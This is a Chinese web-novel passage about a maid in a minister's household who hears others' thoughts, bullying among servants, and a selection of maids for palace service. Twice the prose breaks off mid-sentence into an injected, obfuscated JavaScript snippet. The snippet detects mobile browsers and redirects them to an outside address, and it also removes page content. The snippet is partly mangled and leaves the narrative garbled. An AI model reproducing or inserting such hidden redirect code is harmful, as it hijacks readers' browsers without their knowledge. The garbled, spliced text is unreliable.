《听心丫鬟的女皇之路》 1. 尚书府的哑声秘密 暮春的风卷着海棠花的甜香,漫过尚书府朱红的廊柱,绕着雕花的阑干,轻轻落在阿沅青灰色的丫鬟裙裾上,沾了几瓣细碎的粉白花瓣。她蹲在浣衣局背阴的廊下,双手深深浸泡在冰凉的皂角水里,正费力地搓洗着堆积如山的绸缎衣物。指尖早已被冷水泡得发白起皱,连指缝间都嵌着洗不净的皂角渍,手腕酸麻得几乎抬不起来,可手上的动作却半点不敢放慢——浣衣局的活计多如牛毛,若是日落前做不完,少不了要挨管事嬷嬷的责罚。 阿沅今年十四岁,三年前家乡闹了百年不遇的蝗灾,田地颗粒无收,父母在饥寒交迫中接连离世,孤苦无依的她被牙婆辗转倒卖,最后落到这大楚尚书府,成了浣衣局最底层的小丫鬟。她生得容貌普通,身形单薄,说话总是轻声细语,仿佛一阵风就能吹倒,在府中一众丫鬟里,从来都是最不起眼、最容易被忽略的那个。可只有阿沅自己知道,她的身体里藏着一个可怕的秘密——她能听到别人的心声。 这个秘密,是从她十岁那年的蝗灾之日开始的。那天,遮天蔽日的蝗虫啃光了田里所有的庄稼,家里仅存的半袋粮食也被饥民抢走,母亲抱着她哭到晕厥,阿沅的耳边却突然响起了母亲从未说出口的念头:【沅儿还小,我不能倒下,哪怕去沿街乞讨,也要让她活下去。】也是在那天,她清晰地听到了抢粮人心中的贪婪与冷漠:【这点粮食不够分,再去别家搜搜,这小丫头片子看着瘦弱,卖去牙婆那里,或许还能换两个钱。】 从那以后,各种各样的心声就像潮水一般,无时无刻不在涌入阿沅的耳朵。有善意的关怀,有恶意的算计,有虚伪的逢迎,有直白的怨怼,那些人们藏在心底最深处、从来不肯轻易说出口的心思,在她耳边无所遁形。一开始,她被这突如其来的异能吓得夜不能寐,常常抱着膝盖缩在角落里偷偷哭,她想告诉别人自己的痛苦,可话到嘴边又硬生生咽了回去——她亲眼见过村里一个偶尔说些“胡话”的婆子,被村民当成疯子,扔在荒山里活活饿死。阿沅清楚地知道,若是自己的秘密被人发现,她的下场只会比那个婆子更惨。 三年来,阿沅学会了伪装,学会了在漫天的心声中强行保持沉默,学会了把自己缩成一个不起眼的影子,藏在人群里。她装作什么都不知道,装作和其他丫鬟一样懵懂无知,只用耳朵默默听着那些心底的声音,一点点判断着谁是真心、谁是假意,谁会伤害自己、谁能暂时依靠,在这等级森严的尚书府里,小心翼翼地谋求生路。 “磨磨蹭蹭的死丫头!多大点活都干不利索,是不是皮痒了想挨罚?”管事嬷嬷李氏的声音带着尖利的不耐烦,从廊尽头传了过来,惊飞了廊下檐角的几只麻雀。阿沅的耳朵里瞬间响起了李氏的心声:【这死丫头,手脚也太慢了,二小姐的衣物若是赶不上梳洗用,回头夫人定要拿我撒气。真是晦气,怎么摊上个这么不中用的东西,还得我亲自过来催。】 阿沅连忙低下头,将头埋得更低,手上的搓洗动作又快了几分,声音细若蚊蚋,带着小心翼翼的惶恐:“嬷嬷恕罪,奴婢马上就好,绝不敢耽误二小姐用度。”她不敢抬头,也不敢流露出丝毫异样——她太清楚李氏的性子了,表面上严厉刻薄,心底却最怕夫人的斥责,只要顺着她的话做事,不耽误她的差事,就能少受些打骂。 李氏皱着眉,用帕子捂着鼻子,嫌恶地瞥了她一眼,见她识相,便没再继续呵斥,转身踩着三寸金莲,扭着腰走了。阿沅的耳边还残留着李氏的心声:【算你识相,赶紧干活,别给我惹麻烦,耽误了正事有你好果子吃。】她轻轻舒了口气,指尖的酸痛愈发明显,连胳膊都开始发抖,可她不敢停歇,只能咬着牙继续搓洗着衣物。 廊下还有几个和她一起干活的丫鬟,各自低着头,看似安分守己,可阿沅的耳朵里,早已被她们的心声填满。 【这阿沅也太好欺负了,李氏每次都专挑她欺负,她倒好,连句反抗的话都不敢说,真是软柿子。】这是丫鬟春桃的心声,语气里带着几分幸灾乐祸,可她自己手上的动作,却比阿沅慢了不止一倍,盆里的衣物还泡在水里,半点未动。 【唉,谁不是被欺负过来的?在这尚书府里,没背景没靠山,除了忍还能有什么办法?只希望今天能早点干完活,能偷个懒歇一会儿,连口热水都喝不上了。】这是丫鬟秋菊的心声,满是疲惫与无奈,她和阿沅一样,都是府里最底层的小丫鬟,平日里也常常被那些有体面的大丫鬟欺负,身同感受,却也自顾不暇。 【等会儿把这几件绸缎衣服偷偷洗坏一点点,嫁祸给阿沅,这样我就能少干几件活,还能看她挨李氏的责罚,真是两全其美。】这是丫鬟小翠的心声,她是浣衣局里稍有些体面的丫鬟,跟着李氏做事,平日里最喜欢欺负阿沅这样没靠山的小丫头,常常暗中给她使绊子,看着阿沅倒霉,她便觉得心里痛快。 阿沅听到小翠的心声,指尖微微一顿,眼底掠过一丝不易察觉的寒意,却很快掩饰过去,依旧低着头,装作什么都没察觉。她不动声色地往旁边挪了挪身子,避开了小翠放在一旁的几件名贵绸缎衣物,同时加快了自己手上的动作,把洗好的衣物小心翼翼地拧干,叠得整整齐齐,放在一旁干净的竹篮里。她知道,自己如今势单力薄,和小翠硬碰硬没有任何好结果,只能默默防备,尽量不被她抓住把柄,徒增麻烦。 半个时辰后,廊下的衣物终于尽数洗好、晾妥,阿沅刚想直起腰,揉一揉酸麻的腰肢,李氏就又走了过来,将一个沉甸甸的锦缎包袱扔到她怀里,包袱砸得她胳膊一沉,险些没接住。“阿沅,把这几件衣物送到二小姐的汀兰院去,小心点,都是上好的云锦,碰坏了一根丝线,你十条命都赔不起!” 【真是麻烦,这二小姐今天不知怎的,又在发脾气,方才还砸了好几件官窑瓷器,送过去若是惹她不高兴,定要迁怒于人。还好让这死丫头去,就算挨罚,也轮不到我头上。】李氏的心声在阿沅耳边清晰响起,带着明显的推诿。 阿沅连忙用双手抱紧包袱,躬身应道:“是,嬷嬷,奴婢一定小心谨慎,绝不敢有丝毫差池。”包袱沉甸甸的,压得她的肩膀微微发沉,勒出一道红痕,可她不敢有半句怨言,抱着包袱,低着头,一步步朝着汀兰院走去。 尚书府占地广阔,亭台楼阁错落有致,雕梁画栋,曲径通幽,小径两旁种满了奇花异草,四季常开,可阿沅却没有半分心思欣赏。她的耳朵里,全是府里下人们的心声,有抱怨干活辛苦的,有算计着如何讨好主子的,有私下议论府里琐事的,杂乱无章,像一群嗡嗡作响的蚊子,在她耳边盘旋,让她头晕目眩。可她早已习惯了这种煎熬,只能强行集中精神,分辨着那些可能会对自己造成威胁的心声,同时加快脚步,尽量避开那些来往的主子和管事,免得撞上了,又要挨一顿呵斥。 快到汀兰院门口时,就听到里面传来一阵清脆的瓷器碎裂声,紧接着,是二小姐苏婉尖利的呵斥声,带着娇纵的怒气:“没用的东西!这点小事都办不好,我留着你们还有什么用?拖下去杖责二十!” 阿沅的脚步顿了顿,下意识地站在门外,耳边瞬间响起了苏婉的心声,满是骄横与不满:【真是气死我了!母亲竟然不肯给我买那支赤金点翠步摇,还说我铺张浪费,明明大哥就能随便买那些稀奇古怪的玩意儿,凭什么他可以我就不行?还有那个小翠,送过来的茶水烫得要命,烫到我的手,真是该死,等会儿定要好好罚她!】 还有几个守在院里的丫鬟,心底满是惊恐与慌乱:【完了完了,二小姐又发脾气了,千万别迁怒到我身上,我今天什么都没做啊。】【都怪小翠,送个茶水都送不好,烫到了二小姐,害我们都要跟着受牵连。】【希望二小姐能快点消气,不然我们今天都没好果子吃,说不定还要被拖下去挨打。】 阿沅深吸一口气,抬手理了理微乱的鬓发,调整了一下自己的神色,确保脸上没有丝毫异样,才轻轻抬手,敲了敲汀兰院的门,声音轻柔而恭敬,拿捏着恰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228609|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处的分寸:“二小姐,奴婢阿沅,奉李嬷嬷之命,给您送衣物来了。” 院里的呵斥声瞬间停了下来,紧接着,传来苏婉不耐烦的声音,带着挥之即来的傲慢:“进来。” 阿沅推开门,小心翼翼地走了进去,不敢抬头四处张望。汀兰院里一片狼藉,地上散落着破碎的白瓷片、打翻的茶水和散落的花瓣,几缕茶香混着瓷土的味道飘在空气中,几个丫鬟低着头,战战兢兢地站在一旁,大气都不敢喘,连指尖都在微微发抖。苏婉坐在靠窗的梳妆台前,脸色铁青,手上还攥着一支玉簪,指节泛白,眼神里满是怒意,仿佛随时都会发作。 【这丫鬟是谁?看着面生得很,倒是比旁边这几个蠢东西懂事,进来都不敢抬头乱看,还算有规矩。】苏婉的心声传入阿沅的耳朵里,语气里带着几分审视,还有一丝未消的烦躁。 阿沅抱着包袱,快步走到梳妆台前,轻轻将包袱放在一旁的矮凳上,躬身行礼,语气恭敬:“二小姐,您的衣物奴婢已经按照李嬷嬷的吩咐,小心洗晾好,不敢有丝毫损坏,您请过目。” 苏婉瞥了她一眼,又漫不经心地扫了一眼矮凳上的锦缎包袱,心底的怒意消了几分:【还算懂事,知道小心行事,比旁边这几个笨手笨脚、成事不足败事有余的强多了。】嘴上却依旧不耐烦地摆了摆手,说道:“知道了,放在那里吧,没你的事了。” 【赶紧走赶紧走,看着这些丫鬟就心烦,一个个都碍眼,别在这里杵着,惹我不痛快。】苏婉的心声再次响起,满是嫌恶。 阿沅连忙应道:“是,奴婢告退。”说完,她微微躬身,小心翼翼地后退,脚步放得极轻,生怕踩到地上的碎瓷片,发出声响,惹来苏婉的不满。走到门口时,脚下不知被什么绊了一下,身子微微一晃,险些摔倒,她连忙伸手扶住门框,才勉强稳住了身形。 【真是笨手笨脚的,还好没摔倒,不然弄脏了我的地板,看我不罚你去浣衣局干一辈子活。】苏婉的心声带着几分嫌弃,却并没有要开口呵斥她的意思,显然是没把这点小事放在心上。 阿沅松了口气,连忙站稳身形,再次对着梳妆台的方向躬身行礼,才快步走出了汀兰院,轻轻带上了院门。直到走出很远,拐过一道回廊,听不到苏婉的心声了,她才缓缓抬起头,揉了揉发酸的肩膀,眼底掠过一丝难以掩饰的疲惫。 对阿沅来说,这听心的异能,从来都不是一种幸运,而是一种无尽的煎熬。它让她过早地看清了人心的险恶,看清了世间的冷暖,也让她不得不时刻保持警惕,戴着伪装的面具,小心翼翼地在这等级森严、人心叵测的尚书府里活下去。她知道,自己现在只是一个微不足道的小丫鬟,没有背景,没有靠山,唯一能依靠的,就是自己这个不能被人发现的秘密,还有自己的谨慎与隐忍。 她抬头看了看天边的晚霞,橘红色的晚霞染红了半边天,绚烂而耀眼,将尚书府的飞檐翘角勾勒出一道温柔的金边。阿沅的心底,第一次升起了一个微弱却清晰的念头:她不想一直这样活下去,不想一直被人欺负,不想一直活在恐惧与煎熬中。她想走出去,想摆脱这尚书府的束缚,想拥有一份能让自己安身立命的力量,哪怕这份力量,需要她付出百倍、千倍的努力。 可这个念头刚升起,就被她强行压了下去。她太清楚自己的处境了,一个底层的丫鬟,一个拥有诡异异能的“怪物”,想要摆脱命运的枷锁,何其困难?或许,她这辈子,都只能这样小心翼翼地活着,直到生命的尽头。 阿沅轻轻叹了口气,收回目光,再次低下头,一步步朝着浣衣局走去。廊下的海棠花还在簌簌飘落,落在她的发间、肩上,她却浑然不觉。她的耳朵里,依旧充斥着那些杂乱无章的心声,可她的眼神,却渐渐变得坚定起来——不管未来多么艰难,她都要活下去,而且要好好活下去,哪怕只能在黑暗中摸索,哪怕只能小心翼翼地前行,她也要找到属于自己的那条路,一条能让自己掌控命运的路。 2. 藏在心声里的危机 日子如流水般划过,春去夏来,尚书府的石榴开得如火如荼,阿沅依旧在浣衣局里,做着最底层的活计,过着谨小慎微的生活。她每天天不亮就要起床,顶着晨露去井边挑水、劈柴,然后搓洗衣物,直到深夜才能拖着疲惫不堪的身躯,回到浣衣局角落里那个狭小的住处,和其他几个小丫鬟挤在一张简陋的木板床上休息。住处狭小阴暗,连窗户都只有一扇小小的气窗,一到夏天,便闷热得喘不过气,可这已是她在尚书府里,唯一能稍作喘息的地方。 这段日子里,阿沅凭借着自己能听心的异能,一次次避开了身边的麻烦。小翠依旧对她心怀恶意,时不时就想找机会给她使绊子,可每次她的心思刚起,就被阿沅敏锐地听到,阿沅总能提前做好防备,让小翠的算计一次次落空。久而久之,小翠也觉得阿沅运气好得离谱,虽然依旧看她不顺眼,心底的怨怼从未消减,却也不敢再轻易招惹她,生怕偷鸡不成蚀把米,自己反倒是落得一身不是。 管事嬷嬷李氏虽然依旧严厉,对底下的丫鬟动辄呵斥,可阿沅总能精准地捕捉到她心底的想法,知道她什么时候心情好,什么时候因夫人的斥责而满心烦躁,什么时候需要讨好,什么时候需要避其锋芒。每次李氏交代的差事,阿沅都能办得妥妥帖帖,完全合乎她的心意,渐渐的,李氏对阿沅的态度也缓和了不少,不再像以前那样动辄呵斥、打骂,有时候还会把一些稍微轻松点的差事,比如整理府里的旧衣物、给各院送干净的帕子,交给她做。 可阿沅心里清楚,这不过是暂时的安稳。在这尚书府里,从来没有永远的平静,只有永远的算计与争斗,今日的安稳,或许明日就会被突如其来的麻烦打破。她不敢有丝毫懈怠,依旧每天小心翼翼地观察着身边的一切,倾听着那些藏在心底的心声,默默积累着生存的经验,也在暗中留意着府里的一举一动,寻找着能让自己摆脱这底层生活、走出尚书府的机会。 府里的丫鬟们,各有各的心思,各有各的盘算,这些心思,在阿沅的耳朵里,从来都无所遁形。有的丫鬟一心想讨好主子,盼着能被主子看中,抬举成贴身丫鬟,从此摆脱浣衣局的苦活,攀龙附凤,甚至希望能被主子收为通房,彻底摆脱丫鬟的身份;有的丫鬟则只求安稳,一心攒着月钱,盼着等到年纪大了,能被府里放出去,拿着攒下的钱,找个普通人家嫁了,安稳过一辈子;还有的则和小翠一样,心思歹毒,自己过得不顺心,便靠着欺负比自己弱小的丫鬟,来寻求心理上的满足,踩着别人的痛苦,彰显自己的“体面”。这些心思,阿沅都听得一清二楚,她从不参与其中,也从不和任何人交心,只是默默做好自己的事,做一个不起眼的旁观者,守着自己的一方天地。 这天午后,日头正烈,蝉鸣聒噪,阿沅正在廊下晾晒衣物,手里拿着木杆,将衣物一件件挑到晾衣绳上,忽然听到院子门口传来一阵喧闹声,夹杂着侍卫的呵斥与下人的行礼声。紧接着,就看到几个身着黑衣的侍卫簇拥着一个身穿锦袍、面容俊朗的少年走了进来。那少年约莫十六七岁的年纪,眉眼间带着几分与生俱来的贵气,却又透着几分桀骜不驯,嘴角微挑,带着一丝漫不经心的散漫,正是尚书府的三公子,苏明。 苏明是尚书府的庶子,母亲是尚书大人早年的一个侍妾,早逝,他自幼便缺乏亲眷照拂,平日里也不受尚书大人和夫人的重视,在府中算不得得势。可也正因如此,他少了许多世家公子的束缚,性子十分张扬,行事随心所欲,府里的下人们,大多都不敢招惹他,生怕一个不小心,就惹得他不快,落得一顿打骂。 阿沅看到他,连忙低下头,将木杆靠在廊柱上,加快了手上的动作,想要借着晾衣绳的遮挡,避开他——她不想和府里的任何主子有牵扯,尤其是这样桀骜不驯、行事不定的主子,万一不小心惹到他,后果不堪设想,只会给自己徒增麻烦。 可偏偏,苏明的目光就落在了她的身上,径直朝着她走了过来,停下脚步,目光扫过她晾在绳上的衣物,语气带着几分随意,漫不经心地问道:“这衣服,是二姐姐的?” 阿沅连忙放下手中的衣物,躬身行礼,头埋得极低,声音轻柔,带着恰到好处的恭敬:“回三公子,是二小姐的衣物。”她的耳朵里,瞬间响起了苏明的心声:【这丫鬟倒是生得干净,虽然容貌普通,没什么出彩的地方,可眉眼间却透着一股韧劲,和府里那些趋炎附势、见了主子就阿谀奉承的丫鬟不一样。方才路过汀兰院,听到二姐姐又在发脾气,砸了不少东西,这丫鬟从汀兰院出来,竟然还能如此平静,半点慌乱都没有,倒是难得。】 阿沅的心微微一紧,指尖悄悄攥起,不敢抬头看苏明,只能依旧保持着躬身的姿势,连呼吸都放轻了。她不知道苏明为什么会突然注意到自己这个不起眼的小丫鬟,也不知道他心底的这些想法是什么意思,她只能小心翼翼地应对,尽量不露出丝毫异样,不让他对自己产生过多的兴趣,多一事不如少一事。 苏明瞥了她一眼,看到她始终低着头,肩膀微微紧绷,一副胆小怕事、唯唯诺诺的样子,心底不禁多了几分兴趣,觉得这丫鬟和府里的其他人比起来,倒是多了几分意思:【怎么这么胆小?我又不会吃了她,至于怕成这样吗?倒是想看看,这丫鬟抬起头来,长什么样子。】嘴上却依旧带着那股漫不经心的随意,淡淡说道:“抬起头来,让我看看。” 阿沅的身体微微一僵,心底泛起一丝慌乱。她知道,自己不能抬头,一旦抬头,被苏明看出丝毫破绽,或者被他记住自己的样子,日后难免会有不必要的麻烦。可苏明是主子,她只是一个底层丫鬟,主子的命令,她根本不敢违抗,若是执意不从,只会惹得他不快,后果只会更糟。 就在这进退两难之际,她听到了苏明心底的另一个念头,那丝兴趣转瞬即逝:【算了,不想看就不看了,反正也只是个不起眼的小丫鬟,没什么好看的。倒是这丫鬟,比府里那些见了我就凑上来讨好的丫鬟顺眼些,至少不惹人烦。】 也就在这时,苏明身边的侍卫上前一步,躬身低声提醒道:“公子,老爷让您去前院书房,说是有要事找您商议,让您尽快过去,莫要耽搁了。” 苏明皱了皱眉,眉宇间闪过一丝不耐,显然是不想去书房听尚书大人的唠叨,语气里带着几分烦躁:“知道了,催什么催。”他又瞥了阿沅一眼,没有再让她抬头,转身便带着侍卫离开了,临走前,心底还在抱怨:【真是麻烦,爹又找我做什么?肯定又是说那些读书、考取功名、入朝为官的废话,我才懒得听这些。】 苏明的脚步声渐渐远去,心声也随着他的离开而消失在廊下。阿沅直到他的身影彻底消失在回廊的尽头,才缓缓直起腰,长长地舒了口气,抬手擦了擦额角渗出的冷汗,后背早已被惊出的冷汗浸湿,贴在身上,黏腻难受。她知道,今天算是侥幸躲过了一劫,可她也明白,这样的侥幸,不会一直有。在这尚书府里,只要她还是一个底层的丫鬟,只要她的秘密还在,她就永远无法真正安稳下来,永远都要活在这样的提心吊胆中。 傍晚时分,夕阳西下,暑气渐消,阿沅正在收拾晾晒好的衣物,将它们叠得整整齐齐,分类装好,准备送到各个主子的院里去。忽然,她听到了小翠和春桃的说话声,两人躲在浣衣局的角落,背对着她,压低了声音,语气里带着几分神秘,似乎在说着什么了不得的事情。 “小翠,你听说了吗?宫里来人了,说是奉了皇上的旨意,要在咱们京中各大官员府里,挑选几个机灵的丫鬟,送到宫里当差。”春桃的声音带着难以掩饰的兴奋,连声音都微微发颤。 小翠的语气里也满是期待与得意,下巴抬得老高:“当然听说了!我早就从李嬷嬷那里听说了,宫里的丫鬟,就算是最底层的,也比咱们在这尚书府里强上百倍,不仅月钱比这里多,还能见到大世面,若是能被宫里的哪位贵人看中,抬举一下,那这辈子就不愁了,说不定还能一步登天。” 阿沅的脚步顿了顿,手上的动作停了下来,侧耳倾听,耳朵里瞬间响起了两人的心声,比她们嘴上的话语,更真实,也更露骨。 春桃的心底满是急切与算计:【我一定要被选上,只要能进宫,我就再也不用在这浣衣局里干这些脏活累活了,再也不用被李氏欺负,再也不用看别人的脸色。阿沅那个死丫头,肯定也想被选上,我绝对不能让她得逞,一定要想办法阻止她,她不配和我争。】 小翠的心底则是满满的傲慢与不屑,还有对阿沅的怨怼:【哼,就凭春桃你,长相普通,脑子又笨,还想被选上?简直是做梦。宫里选丫鬟,不仅要机灵,还要模样周正,你长得那么丑,肯定选不上。倒是我,模样比你周正,又比你机灵,还跟着李嬷嬷做事,肯定能被选上。至于阿沅那个死丫头,她就是个没福气的,就算她运气好,也绝对不是我的对手。等我进了宫,发达了,第一个就收拾她,让她以前总坏我的事,让她知道我的厉害。】 阿沅的心微微一动,进宫当差?这个念头,她从来没有想过。在她的印象里,皇宫是一个比尚书府更加可怕、更加凶险的地方,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228610|197582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里等级更加森严,人心更加叵测,后宫的争斗更是血流成河,稍有不慎,就会粉身碎骨,连怎么死的都不知道。可与此同时,她的心底也响起了一个清晰的念头:【或许,进宫,是我唯一能摆脱尚书府的机会。就算皇宫再凶险,也比在这里一辈子当一个被人欺负、任人宰割的小丫鬟强。至少,在宫里,我或许能找到一份属于自己的力量,或许能真正掌控自己的命运,而不是像现在这样,只能被动地承受一切。】 这个念头一旦升起,就像一颗种子落在土里,迅速生根发芽,再也无法压下去。阿沅知道,进宫意味着更大的危险,意味着她要面对更多的人心算计,意味着她的秘密一旦被发现,后果会比在尚书府里更加严重,可能会落得身首异处的下场。可她已经厌倦了这种谨小慎微、任人宰割的生活,厌倦了每天活在恐惧与煎熬中,她想拼一次,哪怕只有万分之一的希望,她也要试着走出这尚书府,去外面的世界,寻找属于自己的未来。 可她也清楚,自己的劣势太大了。她容貌普通,身形单薄,没有任何背景,也没有任何特长,和那些模样周正、机灵乖巧的丫鬟比起来,她没有任何优势。而且,小翠和春桃都对这个进宫的机会虎视眈眈,她们肯定会暗中给她使绊子,想尽一切办法阻止她被选上,她想要抓住这个机会,难如登天。 【不行,我不能放弃。就算没有优势,我也要想办法争取。我有听心的异能,这是我唯一的筹码,也是我最大的优势。我可以凭借异能,听到那些选拔太监的心声,知道他们喜欢什么样的丫鬟,知道他们看重什么,在意什么,忌讳什么,这样我就能投其所好,避开他们的忌讳,争取被选上。】阿沅在心底暗暗下定决心,眼底闪过一丝坚定。 接下来的几天,阿沅变得更加谨慎,也更加用心。她一边认真做好自己的活计,不让李氏和其他人抓住任何把柄,一边暗中观察着府里的动静,倾听着下人们的心声,收集着关于皇宫选拔丫鬟的一切信息。功夫不负有心人,从李嬷嬷和其他管事的心声里,她终于得知,这次来选拔丫鬟的,是宫里的掌事太监刘公公,此人深得皇上信任,在宫里颇有分量,性子圆滑,却也十分挑剔,选拔丫鬟的时候,不仅看重模样和机灵程度,更看重丫鬟的沉稳和细心——皇宫里规矩繁多,主子众多,若是丫鬟太过浮躁、毛手毛脚,很容易惹出麻烦,倒不如沉稳细心的丫鬟,更能让人放心。 与此同时,小翠和春桃也在暗中做着准备。她们每天都偷偷拿出自己攒下的月钱,买了脂粉,偷偷打扮自己,模仿着府里那些体面丫鬟的言行举止,希望能在选拔时给刘公公留下好印象。她们还常常刻意讨好李氏,变着法子给李氏送小礼物,希望李氏能在刘公公面前多替她们说几句好话,为她们铺路。 她们的心思,阿沅都听得一清二楚,可她没有去阻止,也没有去和她们争抢,只是默默做好自己的准备,安静地等待着选拔的那一天。她知道,急躁解决不了任何问题,反而会露出破绽,在这场选拔中,沉稳和细心才是最重要的,这正是她所拥有的。她要做的,就是保持自己的本心,不卑不亢,凭借自己的异能,抓住这次难得的机会,走出这尚书府,踏上一条全新的道路。 选拔的前一天晚上,浣衣局的丫鬟们都早早睡下了,只有阿沅,躺在木板床上,辗转反侧,难以入眠。耳边是其他丫鬟熟睡的呼吸声,还有她们偶尔响起的梦话,可阿沅的心思,却全都放在了明天的选拔上,丝毫没有睡意。她在心底一遍遍演练着明天可能会遇到的场景,一遍遍琢磨着刘公公可能会问的问题,琢磨着如何应对才能让刘公公满意,如何才能隐藏好自己的秘密,不被人发现。 她知道,明天,将是她命运的转折点。要么,她能成功被选上,走进皇宫,开启一段未知却充满希望的旅程;要么,她就会被淘汰,继续留在这尚书府里,过着任人宰割、谨小慎微的生活,或许,这辈子都没有机会再摆脱命运的枷锁。 窗外的月光透过破旧的窗棂,洒在阿沅的脸上,温柔而清冷,照亮了她眼底的坚定与忐忑。阿沅轻轻闭上眼,双手合十,在心底默默祈祷:【希望明天,我能成功。希望我能摆脱这一切,希望我能拥有掌控自己命运的力量。】 夜色渐深,尚书府的一切都陷入了沉睡,只有阿沅的心底,依旧充满了忐忑与期待。她知道,明天的路,注定不会好走,前方必定布满荆棘,可她已经做好了准备,哪怕前路再险,她也会勇敢地走下去,哪怕只有一丝希望,她也会拼尽全力去争取,为自己,争一个未来。 3. 听心破局,入宫门 选拔丫鬟的日子,终于来了。 这天一大早,天刚蒙蒙亮,晨雾还未散去,尚书府里所有十五岁以下、符合条件的丫鬟,都被李氏召集起来,集中到了前院的庭院里。庭院里种着几棵高大的槐树,枝繁叶茂,遮挡住了清晨的阳光,丫鬟们一个个都穿着自己最干净的衣服,头发梳得整整齐齐,脸上带着几分紧张与期待,小心翼翼地站在那里,连大气都不敢喘,等待着刘公公的到来。 阿沅站在人群的最末尾,依旧是那副低眉顺眼、不起眼的样子,身上穿着那件洗得发白的青灰色丫鬟裙,头发简单地挽成一个发髻,没有任何装饰,和周围那些精心打扮的丫鬟比起来,显得格外普通。可她的耳朵,却始终保持着高度的警惕,像一张拉满的弓,仔细倾听着周围每个人的心声,捕捉着每一丝细微的情绪。 小翠站在人群的中间,穿着一身崭新的青布丫鬟裙,是她用攒了许久的月钱买的,头发梳得光溜溜的,还偷偷抹了点香膏,空气中飘着淡淡的香味,她的脸上带着几分得意与傲慢,下巴抬得老高,仿佛已经笃定自己会被选上。【哼,你们这些丫鬟,一个个都灰头土脸的,哪里比得上我?今天我一定要被刘公公选中,进了宫,我就发达了,再也不用待在这破尚书府里。阿沅那个死丫头,站在最末尾,连头都不敢抬,肯定没机会,真是解气。】 春桃站在小翠的旁边,神色比小翠更加紧张,双手紧紧攥着衣角,指节泛白,脸上的表情带着明显的忐忑,眼神时不时地扫向庭院门口,期待着刘公公的到来,又害怕自己被淘汰。【怎么办?我好紧张,万一刘公公看不上我怎么办?我一定要表现得机灵点,一定要被选上,不能让小翠看不起我,也不能一辈子待在浣衣局里干苦活,我要出去见大世面。】 其他的丫鬟,也各自有着自己的心思,有的紧张,有的期待,有的自信满满,有的自卑怯懦。这些杂乱的心声,像潮水一样涌入阿沅的耳朵里,让她有些头晕目眩,可她强行集中精神,过滤掉那些无关紧要的心声,将所有的注意力,都放在了庭院门口,专注地等待着刘公公的到来,准备捕捉他的每一个心思,每一个想法。 约莫半个时辰后,晨雾散去,一阵整齐的脚步声从府门外传来,伴随着一个小太监尖细的唱喏声:“刘公公到——” 庭院里的丫鬟们,瞬间都低下了头,身子绷得笔直,大气都不敢喘,连呼吸都放轻了,生怕一个不小心,就惹得刘公公不快。阿沅也连忙低下头,可她的耳朵,却紧紧盯着脚步声传来的方向,捕捉着那道最核心的声音。 很快,一个身穿灰色锦缎太监服、面容圆润、眼神锐利的中年太监,在几个小太监的簇拥下,缓缓走了进来,正是宫里的掌事太监,刘公公。他的步伐不紧不慢,带着久居高位的从容与威严,眼神扫过庭院,仿佛能看透人心。 刘公公走到庭院中央的石凳上坐下,旁边的小太监连忙上前,为他斟上一杯热茶。刘公公端起茶杯,轻轻喝了一口,目光缓缓扫过庭院里的丫鬟们,眼神锐利而挑剔,仿佛要把每个丫鬟都从头到脚看穿,心底也在暗暗评判着:【这些丫鬟,看着倒是都干干净净的,模样也都还算周正,可不知道有没有真正机灵能干的。皇上交代的差事,可不能办砸了。这次选拔,主要是选几个沉稳、细心、机灵的,送到各个宫里当差,尤其是要给德妃娘娘选两个得力的,德妃娘娘最近因娘家的事心情不佳,性子也变得有些急躁,得选两个能安分守己、还能哄人开心的丫鬟,不能选那些浮躁的,免得惹她不快。】 阿沅听到刘公公的心声,心底微微一松,悬着的心落了大半。她知道,自己的机会来了。沉稳、细心、机灵,这几点,都是她一直以来坚守的,也是她所拥有的。而且,她能听到别人的心声,能精准地捕捉到刘公公的喜好和需求,能投其所好,避开他的忌讳,绝不会触怒他。 刘公公放下茶杯,手指轻轻敲着石桌,语气平淡,却带着不容置疑的威严:“都抬起头来,让咱家看看。” 丫鬟们纷纷小心翼翼地抬起头,眼神里带着几分紧张和期待,目光怯生生地看着刘公公,不敢与他对视。刘公公的目光缓缓扫过她们,一边看,一边在心底暗暗评判着,一个个排除:【这个模样倒是周正,眉眼精致,可眼神太浮躁,东张西望的,不够沉稳,不行,德妃娘娘最烦这样的。这个倒是沉稳,可看着太木讷,眼神呆滞,问一句话怕是半天都答不上来,不够机灵,也不行。这个眼神太狡黠,眼珠子滴溜溜转,心思太多,留在宫里容易惹麻烦,不行。】 刘公公的目光扫了一圈,脸色渐渐变得平淡起来,甚至带着一丝不易察觉的失望,显然,这些丫鬟里,没有几个能让他真正满意的。【怎么尚书府里,就没有几个像样的丫鬟?一个个要么浮躁,要么木讷,要么心思不正。难道还要咱家回去,再从别的官员府里选拔?不行,皇上催得紧,得尽快选好,不能耽搁。】 就在这时,刘公公的目光,不经意间落在了人群末尾的阿沅身上。阿沅依旧是那副低眉顺眼的样子,眼神平静,没有丝毫的紧张和浮躁,也没有丝毫刻意的讨好,就那样安安静静地站在那里,像一株不起眼的小草,却又透着一股韧劲,在一众或紧张、或谄媚、或浮躁的丫鬟里,显得格外与众不同。【这个丫鬟,倒是有些特别。模样虽然普通,没什么出彩的地方,可眼神很平静,沉得住气,看起来很沉稳,不浮躁,也不木讷。倒是可以看看,她是不是够机灵,能不能入眼。】 